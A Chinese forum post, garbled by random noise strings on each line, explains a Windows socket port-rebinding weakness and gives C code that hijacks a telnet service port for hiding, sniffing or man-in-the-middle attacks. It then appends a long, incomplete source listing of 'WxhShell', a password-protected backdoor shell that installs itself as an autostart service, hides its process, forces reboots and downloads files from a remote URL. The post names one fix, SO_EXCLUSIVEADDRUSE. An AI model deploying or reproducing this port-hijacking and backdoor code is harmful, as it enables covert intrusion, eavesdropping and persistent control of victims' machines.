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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /znW$yh o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {:&t;5qz^  
JM5 w`=  
  saddr.sin_family = AF_INET; p @@TOS  
G: FP9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D?w?0b Eu  
`.f<RVk-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3~"G(UP  
fF208A7U I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .:tAZZ  
)5Ddvz>+  
  这意味着什么?意味着可以进行如下的攻击: A KO#$OJE  
n*6b*fl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k+>-?S,  
AZ)H/#be  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @[0zZX2EE  
=`5Xx(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rn l~i  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  + #gJ[Cc  
/I{<]m$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %eCbH`  
/TTmMx*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U2=l; R{  
,K Ebnk|i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?Kw~O"L8  
{n8mE,;M  
  #include 3^l@!Qw  
  #include +K4d(!Sb  
  #include *%L:soM'Ll  
  #include    `7qZ6Z3z@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kP9DCDO`[5  
  int main() .P\wE";  
  { dxkq*  
  WORD wVersionRequested; `}gjfu -'\  
  DWORD ret; vn@9Sqk  
  WSADATA wsaData; SMVn2H@  
  BOOL val; fu3/n@L  
  SOCKADDR_IN saddr; w-?_U7'  
  SOCKADDR_IN scaddr; dzMlfJp  
  int err;  4l+"J:,  
  SOCKET s; `_C4L=q"  
  SOCKET sc; 5v4 ,YHD  
  int caddsize; Qvh: hkR  
  HANDLE mt; l5ww-#6Z  
  DWORD tid;   Al="ss&2  
  wVersionRequested = MAKEWORD( 2, 2 ); x@3Ix, b'  
  err = WSAStartup( wVersionRequested, &wsaData ); i-)OY,  
  if ( err != 0 ) { z{U2K '  
  printf("error!WSAStartup failed!\n"); (]0JI1 d  
  return -1; 8^CdE*a  
  } 8KRm>-H)  
  saddr.sin_family = AF_INET; {)]5o| Hx  
   GGcN aW'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6@?4z Rkz  
O,"4HZG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ( /{Wu:e  
  saddr.sin_port = htons(23); hER]%)#r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,$ L>  
  { )%lPa|7s  
  printf("error!socket failed!\n"); [V_Z9-f*  
  return -1; bhaIi>W~G  
  } K^j7T[pR  
  val = TRUE; :B?C~U k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jovI8Dw >  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HV@ C@wmg  
  { J ylav:  
  printf("error!setsockopt failed!\n"); T)J=lw  
  return -1; !L4Vz7 C  
  } | T<t19  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fQcJyX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CAdqoCz|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %"|I` m  
s Wk92x _l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b6sj/V8  
  { 7M*&^P\}es  
  ret=GetLastError(); "w.gP8`  
  printf("error!bind failed!\n"); 5 s3!{zT{  
  return -1; Q$!dPwDg  
  } 2mj?&p?  
  listen(s,2); F)_zR  
  while(1) {2Jo|z  
  { rnW(<t"  
  caddsize = sizeof(scaddr); rM/Ona2x  
  //接受连接请求 -0rc4<};h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +~b@W{  
  if(sc!=INVALID_SOCKET) M:6Yy@#T.  
  { tQ=P.14>:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P%M Yr"<$E  
  if(mt==NULL) JGl0 (i*|  
  { ha+)ZF  
  printf("Thread Creat Failed!\n"); D?ojxHe  
  break; +VxzWNs*JP  
  } 34S0W]V  
  } &Z!O   
  CloseHandle(mt);  [@YeQ{  
  } Q!7il<S  
  closesocket(s); A)"?GK{*  
  WSACleanup(); KwO;ICdJ  
  return 0; jd]Om r!  
  }   w1tWyKq  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6U|An*  
  { T%|{Qo<j  
  SOCKET ss = (SOCKET)lpParam; IiW*'0H:/  
  SOCKET sc; ~n9x ,  
  unsigned char buf[4096]; Aw#@}TGT  
  SOCKADDR_IN saddr; c'#w 8 V  
  long num; _Q)rI%A2  
  DWORD val; /dGpac  
  DWORD ret; QP HibPP:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1.29%O8V_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L-. +yNX)  
  saddr.sin_family = AF_INET; r6_g/7.-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -\=s+n_ZP?  
  saddr.sin_port = htons(23); F/33# U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VZhtx)  
  { (R^X3  
  printf("error!socket failed!\n"); +S/OMkC  
  return -1; EjxzX1:  
  } _Sa7+d(  
  val = 100; +9EG6"..@H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ')eg6IC0&T  
  { @`"U D  
  ret = GetLastError(); a}(xZ\n^D;  
  return -1; cV8Bl="gqe  
  } O^/z7,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %DOV)Qc2  
  { 3vdhoS|  
  ret = GetLastError(); B?M&j  
  return -1; +% E)]*Ym  
  } Q8d-yJs&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '0ks`a4q  
  { hbfN1 "z  
  printf("error!socket connect failed!\n"); Tfsx&k\  
  closesocket(sc); Lt'FA  
  closesocket(ss); LT+QW  
  return -1; =(]yl_  
  } s}w?Dvo\  
  while(1) ::<v; `l  
  { J  ZH~ {  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hB[VU ";  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |azdFf6A:[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C?OqS+  
  num = recv(ss,buf,4096,0); !i4/#H  
  if(num>0) Lp1\vfU<+  
  send(sc,buf,num,0); I(rZ(|^A  
  else if(num==0) u9c^:Op  
  break; zDK"Y{  
  num = recv(sc,buf,4096,0); GpwoS1#)0|  
  if(num>0) /Py1Q  
  send(ss,buf,num,0); /7[U J'  
  else if(num==0) >~+qU&'2  
  break; $X\deJ1Hi  
  } *WzvPl$e  
  closesocket(ss); @O]v.<8  
  closesocket(sc); ,M?K3lG\g[  
  return 0 ; *OM+d$l!  
  } OdSglB  
8bTE# 2+-  
vyS8yJUY  
========================================================== f3;.+hJ])  
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下边附上一个代码,,WXhSHELL 0(o{V:l%Z|  
] Hiw+5n  
========================================================== PS:"mP7n  
",, W1]"%  
#include "stdafx.h" 6B8g MO  
&m5FYm\  
#include <stdio.h> ^}Wk  
#include <string.h> yiO/0nMp  
#include <windows.h> +H**VdM6s  
#include <winsock2.h> %3kS;AaA  
#include <winsvc.h> Y[~Dj@Q<  
#include <urlmon.h> OyG#  
*4 HogC  
#pragma comment (lib, "Ws2_32.lib") n.l7V<1  
#pragma comment (lib, "urlmon.lib") G4<M@ET  
]@P!Q&V #  
#define MAX_USER   100 // 最大客户端连接数 9]4W  
#define BUF_SOCK   200 // sock buffer _Dq, \}  
#define KEY_BUFF   255 // 输入 buffer )&px[Dbx  
P9yg  
#define REBOOT     0   // 重启 n=iL6Yu(  
#define SHUTDOWN   1   // 关机 =zsA@UM0  
EK 8rV  
#define DEF_PORT   5000 // 监听端口 k1_" }B5  
YQ$Wif:@(n  
#define REG_LEN     16   // 注册表键长度 eeM$c`Y<  
#define SVC_LEN     80   // NT服务名长度 YiGSFg  
c,L{Qv"n{  
// 从dll定义API ]1)#Y   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )RCva3Ul  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  8 ?4/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EvGKcu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g3*J3I-O  
bAwFC2jO[  
// wxhshell配置信息 }trQ<*D  
struct WSCFG {  k:i}xKu  
  int ws_port;         // 监听端口 E``\Jre@  
  char ws_passstr[REG_LEN]; // 口令 YZ(tjIgQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,t|qhJF  
  char ws_regname[REG_LEN]; // 注册表键名 Lk`,mjhk  
  char ws_svcname[REG_LEN]; // 服务名 ~ !7!Y~(+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bNh~=[E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hi0-Sw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wQw&.)T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T`W37fz0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6` 4,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 phP%  
=IEei{  
}; XGcl9FaO}  
Mh@RO|F  
// default Wxhshell configuration {^A,){uX]  
struct WSCFG wscfg={DEF_PORT, 60XTdJkDkA  
    "xuhuanlingzhe", 4S\St <  
    1, M $\!SXL  
    "Wxhshell", 79d< ,q;uR  
    "Wxhshell", Sau?Y  
            "WxhShell Service", [J\! 2\Oo  
    "Wrsky Windows CmdShell Service", g!I0UAm  
    "Please Input Your Password: ", OhiY <  
  1, iPK:gK3Q  
  "http://www.wrsky.com/wxhshell.exe", S]g`Ds<  
  "Wxhshell.exe" 9Ac4'L  
    }; bFB.hkTP  
g$T% C?  
// 消息定义模块 HLb`'TC3r+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |_u|Td(n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m ?#WQf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jq8:33s   
char *msg_ws_ext="\n\rExit."; <7*d2  
char *msg_ws_end="\n\rQuit."; *}RV)0mif  
char *msg_ws_boot="\n\rReboot..."; COFCa&m9c  
char *msg_ws_poff="\n\rShutdown..."; r 3FUddF'  
char *msg_ws_down="\n\rSave to "; B#, TdP]/  
['_W <  
char *msg_ws_err="\n\rErr!";  CT[CM+  
char *msg_ws_ok="\n\rOK!"; JWV n@)s  
|0$7{nQ  
char ExeFile[MAX_PATH]; `7 3I}%?  
int nUser = 0; JrGY`6##p  
HANDLE handles[MAX_USER]; hOR1R B  
int OsIsNt; xY@<<  
owe6ge7m  
SERVICE_STATUS       serviceStatus; Ocf:73t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d37|o3oC  
g93H l&  
// 函数声明 K-Fro~U  
int Install(void); 4;)aGN{e  
int Uninstall(void); Psw<9[  
int DownloadFile(char *sURL, SOCKET wsh); NxrfRhaU3  
int Boot(int flag); 3Q2z+`x'  
void HideProc(void); TQ69O +  
int GetOsVer(void); i/j eb*d0  
int Wxhshell(SOCKET wsl); Jk_ }y  
void TalkWithClient(void *cs); .2x`Fj;o1  
int CmdShell(SOCKET sock); v@Bk)Z  
int StartFromService(void); +P|Z1a -jB  
int StartWxhshell(LPSTR lpCmdLine); 7CSd}@71\  
( P\oLr9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &w{: qBa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =q<t,UP8  
^ Q  
// 数据结构和表定义 OY,iz  
SERVICE_TABLE_ENTRY DispatchTable[] = d_)VeuE2  
{ =@s{H +  
{wscfg.ws_svcname, NTServiceMain}, DpvMY94Qh  
{NULL, NULL} %3es+A@  
}; J?oEzf;M  
f <LRM  
// 自我安装 aB2t/ua  
int Install(void) !"bU|a  
{ -^WW7 g`  
  char svExeFile[MAX_PATH]; W3y9>]{x^  
  HKEY key; "#=WD  
  strcpy(svExeFile,ExeFile);  li  
fT0+i nRG  
// 如果是win9x系统,修改注册表设为自启动 cjc1iciZ  
if(!OsIsNt) { >{ .|Ng4K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fh~ pB>t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L%31>)8  
  RegCloseKey(key); 6rh^?B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e6 a]XO^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ct9dV7SH  
  RegCloseKey(key); 9IJc9Sv(  
  return 0; 9e0t  
    } 63T4''bwu  
  } 3u&)6C?YM  
} UsnIx54D3  
else { de,4M s!%  
_g%h:G&^  
// 如果是NT以上系统,安装为系统服务 hZ UnNQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6a4-VX5  
if (schSCManager!=0) @0fiui_  
{ uTRFeO>  
  SC_HANDLE schService = CreateService 3<X*wVi)NN  
  ( 4&wwmAp^  
  schSCManager, g%%j"Cz1  
  wscfg.ws_svcname, f6JC>Np  
  wscfg.ws_svcdisp, k'PNfx\K  
  SERVICE_ALL_ACCESS, `c/mmS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fB`7f $[  
  SERVICE_AUTO_START, F~zrg+VDjL  
  SERVICE_ERROR_NORMAL, f#| wb~  
  svExeFile, %Z { 7*jtE  
  NULL, z99jW<*0  
  NULL, I@l }%L  
  NULL, N5Ih+8zT  
  NULL, (laVmU?I7  
  NULL 3AcCa>  
  ); ' qN"!\  
  if (schService!=0) v<V9Z <ub  
  { Hi#f Qji  
  CloseServiceHandle(schService); LseS8F/q  
  CloseServiceHandle(schSCManager); ]C5/-J,F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2M*84oh8P  
  strcat(svExeFile,wscfg.ws_svcname); LNI]IITx/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lJdwbuB6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xF7q9'/F  
  RegCloseKey(key); |\J! x|xy  
  return 0; ]=jpqxlx  
    } OG{vap)  
  } D0 ,t,,L  
  CloseServiceHandle(schSCManager); 2F|06E'  
} q#*b4q {  
} !z |a+{  
k?qd -_sC  
return 1; MznMt2-u  
} ghDOz 3  
+~!\;71:f  
// 自我卸载 T56%3i  
int Uninstall(void) TY]-L1$  
{ o 76QQ+hP  
  HKEY key; OE5JA8/H  
[hXnw'Im/  
if(!OsIsNt) { F8>J(7On  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K&UTs$_cI  
  RegDeleteValue(key,wscfg.ws_regname); $pfN0/`(  
  RegCloseKey(key); +w9X$<?_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %tT=q^%5  
  RegDeleteValue(key,wscfg.ws_regname); mFW/xZwR,5  
  RegCloseKey(key); ?b3({P  
  return 0; QRAw#  
  } w6@8cNXK  
} n}toUqUnk\  
} ,,CheRO  
else { &b!|Y  
B| .8+Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =`KV),\  
if (schSCManager!=0) G_)(?  
{ $\vTiS'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^eY% T5K   
  if (schService!=0) ;/)u/[KAv  
  {  Mt   
  if(DeleteService(schService)!=0) { f1 TYQ?e  
  CloseServiceHandle(schService); N!YjMx)P  
  CloseServiceHandle(schSCManager); oz#;7 ?9  
  return 0; (#5TM1/A  
  } {5J: ]{p  
  CloseServiceHandle(schService); y5$AAas  
  }   ]n (:X  
  CloseServiceHandle(schSCManager); $}z%}v  
} pPnJf{  
} ,c.(&@  
~pve;(e=  
return 1; 5_E,x  
} ,'^^OLez  
dXewS_7  
// 从指定url下载文件 .|x" '3#  
int DownloadFile(char *sURL, SOCKET wsh) xe9V'wICp(  
{ #Oq~ZV|<l  
  HRESULT hr; hH*/[|z  
char seps[]= "/"; *8#]3M]  
char *token; U[WR?J4~LX  
char *file; 3v@Y"I3;  
char myURL[MAX_PATH]; H*VZ&{\7  
char myFILE[MAX_PATH]; >TB Rp,;r  
<OA[u-ph%S  
strcpy(myURL,sURL); e'L$g-;>4b  
  token=strtok(myURL,seps); +RN|ZG&  
  while(token!=NULL) ddG5g  
  { s7G!4en  
    file=token; 5.X`[/]<r  
  token=strtok(NULL,seps); z2Kvp"-}  
  } 0VwmV_6'<W  
;1Zz-@  
GetCurrentDirectory(MAX_PATH,myFILE); n|Smy\0  
strcat(myFILE, "\\"); g*[DyIm  
strcat(myFILE, file); bZ_vb? n  
  send(wsh,myFILE,strlen(myFILE),0); 5dem~YY5  
send(wsh,"...",3,0); d;WXlE;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o.M.zkP a  
  if(hr==S_OK) 3_cZaru  
return 0; ra>jVE0 `  
else ?TEdGe\*  
return 1; 3 V{&o,6  
 ~N=$%C  
} aFtL_# U  
mCQn '{)  
// 系统电源模块 <[w>Mbqj_  
int Boot(int flag) n1 kh8,  
{ YDo Vm?  
  HANDLE hToken; 0DgEOW9H  
  TOKEN_PRIVILEGES tkp; ?VP07 dQTe  
H;=++Dh  
  if(OsIsNt) { RY9h^q*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FNB4YZ6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VT~jgsY  
    tkp.PrivilegeCount = 1; ~L ufHbr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; , \ 6*fXc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SXx;- Ws  
if(flag==REBOOT) { 3Z-N*bhC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1 wB2:o<  
  return 0; %.`<ud  
} UKfpoDhEe  
else { p5PTuJ>q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [G>U>[u|  
  return 0; .L'eVLQe  
} :3$-Qv X  
  } +ZU@MOni  
  else { \qB:z7I2  
if(flag==REBOOT) { IolKe:'>@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :HTV8;yc  
  return 0; 9m:G8j'  
} t!JD]j>q  
else { "{Jq6):mp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  ZXL  
  return 0; pR*)\@ma  
} "? t@Y  
} <oP"kh<D4  
=V(|3?N  
return 1; Wp0L!X=0  
} !w #x@6yq  
\]gUX-  
// win9x进程隐藏模块 wjnQK  
void HideProc(void) LYvjqNC&4  
{ !3 j@gi2  
pXBlTZf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2\, h "W(  
  if ( hKernel != NULL ) lhRo+X#G  
  { w=MiJr#3^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l S m7i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ((T0zQ7=  
    FreeLibrary(hKernel); <sNk yQ  
  } i!k5P".o^  
[>y0Xf9^  
return; 4~YPLu  
} rbD}fUg  
+M %zOX/  
// 获取操作系统版本 G" &yE.E5  
int GetOsVer(void) %\ef Mhn  
{ ;S_\- ]m&g  
  OSVERSIONINFO winfo; rW<sQ0   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $b=4_UroS  
  GetVersionEx(&winfo); s`E^1jC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u^NZsuak  
  return 1; tH\ aHU[  
  else ;4] sP^+  
  return 0; k~+(X|!5w  
} }'.k  
pcl '!8&7  
// 客户端句柄模块 JZM:R  
int Wxhshell(SOCKET wsl) Z+?V10$  
{ c4AkH|  
  SOCKET wsh; qJ8@A}}8  
  struct sockaddr_in client; 13v#  
  DWORD myID; C% )Xz  
? pkg1F7  
  while(nUser<MAX_USER) c5f8pa *  
{ M^twD*  
  int nSize=sizeof(client); *6b$l.Vs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *4<Kz{NF  
  if(wsh==INVALID_SOCKET) return 1; Sgy_?Y  
Jfs$VGZP;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Pm* N!:u  
if(handles[nUser]==0) q;{# ~<"+  
  closesocket(wsh); EX.`6,:+2  
else fZ)M Dq  
  nUser++; se:lKZZ]  
  } a&*fk?o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mw,7+  
`NNr]__  
  return 0; Mc #w:UH[  
} .tny"a&  
4?s ~S. %  
// 关闭 socket &!E+l<.RF  
void CloseIt(SOCKET wsh) E)h&<{%  
{ }VUrn2@-4  
closesocket(wsh); ~c*$w O\  
nUser--; 8ezdU"  
ExitThread(0); Rl2*oOVz  
} W@( EEMhw  
O%KP,q&}Y  
// 客户端请求句柄 & &\HE7*  
void TalkWithClient(void *cs) O=C z*j  
{ |re>YQ!zd  
RO?%0-6O&  
  SOCKET wsh=(SOCKET)cs; ;jEDGKLq  
  char pwd[SVC_LEN]; 7Y>17=|  
  char cmd[KEY_BUFF]; GV aIZh<  
char chr[1]; S3oSc<&2  
int i,j; (4WAoye|  
3TDjWW;#~  
  while (nUser < MAX_USER) { hCcAAF*I;5  
#A RQB2V  
if(wscfg.ws_passstr) { |*w}bT(PfR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `?H yDny  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :"pA0oB  
  //ZeroMemory(pwd,KEY_BUFF); ,iQRf@#W_b  
      i=0; N7b+GqYpF>  
  while(i<SVC_LEN) { e{<r<]/j  
+v7mw<6s  
  // 设置超时 {d%% nK~  
  fd_set FdRead; H(~:Ajj+zQ  
  struct timeval TimeOut; ?^< E#2a  
  FD_ZERO(&FdRead); c[I4'x  
  FD_SET(wsh,&FdRead); FYs-vW{  
  TimeOut.tv_sec=8; !((J-:=  
  TimeOut.tv_usec=0; rh6gB]X]3:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #EO@<> I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wM"P JG  
`~hB-Z5dI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /7)l22<  
  pwd=chr[0]; L/U^1=Wi*O  
  if(chr[0]==0xd || chr[0]==0xa) { \:To>A32  
  pwd=0; v9<'nU WVR  
  break; ?C[W~m P  
  } g{_wMf  
  i++; ]&dU%9S  
    } (zO)J`z>  
~KW|<n4m  
  // 如果是非法用户,关闭 socket k\qF> =  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0^L>J "o  
} 007(k"=oV  
5a PPq~%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [K\Vc9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B3j   
(rHS2SA\5  
while(1) { Bv)^GU&   
)5479Eb_  
  ZeroMemory(cmd,KEY_BUFF); E,/<;  
t Lz,t&h  
      // 自动支持客户端 telnet标准   i Sm .E  
  j=0; M$9?{8m  
  while(j<KEY_BUFF) { m~#f L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (2oP=9m  
  cmd[j]=chr[0]; Ju"* ;/  
  if(chr[0]==0xa || chr[0]==0xd) { %l#i9$s  
  cmd[j]=0; T;f`ND2fY  
  break; $hn=MOMc  
  } j0XS12eM  
  j++; Y2j>@  
    } R0l5"l*@+  
TvbkvK  
  // 下载文件 V?.')?'V  
  if(strstr(cmd,"http://")) { TspuZR@2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); su/!<y  
  if(DownloadFile(cmd,wsh)) .}wVM`81z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q, 8TOn  
  else )nK-39,G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I:ag}L8`  
  } r}-si^fo;  
  else { e#+u8LrN  
'\ MYC8"  
    switch(cmd[0]) { sUCI+)cM3  
  _:B/XZ  
  // 帮助 hLqRF4>L  
  case '?': { co93}A,k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &tAhRMa  
    break; <K(qv^C  
  } /f5*KRM  
  // 安装 4Pbuv6`RK  
  case 'i': { t==CdCl  
    if(Install()) Xiy9Oeq2uh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <? Z[X{  
    else \ r^#a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *[P"2b#  
    break; `Mh 3v@K:  
    } &!xePKvO6k  
  // 卸载 ko2T9NI:S  
  case 'r': { YKUb'D:t]  
    if(Uninstall()) b-d{)-G{(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >{seaihK  
    else B=>VP-:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O3YD jas  
    break; {CO]wqEj  
    } k3HPY}-  
  // 显示 wxhshell 所在路径 @%oHt*u  
  case 'p': { L[|($vQ"  
    char svExeFile[MAX_PATH]; _+OnH!G0  
    strcpy(svExeFile,"\n\r"); z!M8lpI M  
      strcat(svExeFile,ExeFile); prWK U  
        send(wsh,svExeFile,strlen(svExeFile),0); Q.]$t 2J  
    break; s9Tp(Yr,k  
    } <r@w`G  
  // 重启 xF#'+Y  
  case 'b': { H n^)Xw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XTibx;yd<  
    if(Boot(REBOOT)) uPmK:9]3R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gPW% *|D,  
    else { u6B,V  
    closesocket(wsh); (R9{wGV [  
    ExitThread(0); l"{1v ~I  
    } u/I|<NAC,  
    break; XY_zF F  
    } nQtp4  
  // 关机 R2e":`0I  
  case 'd': { *N C9S,eSP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]FQO@ y  
    if(Boot(SHUTDOWN)) ]g3RVA%\l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 $vUdDTg  
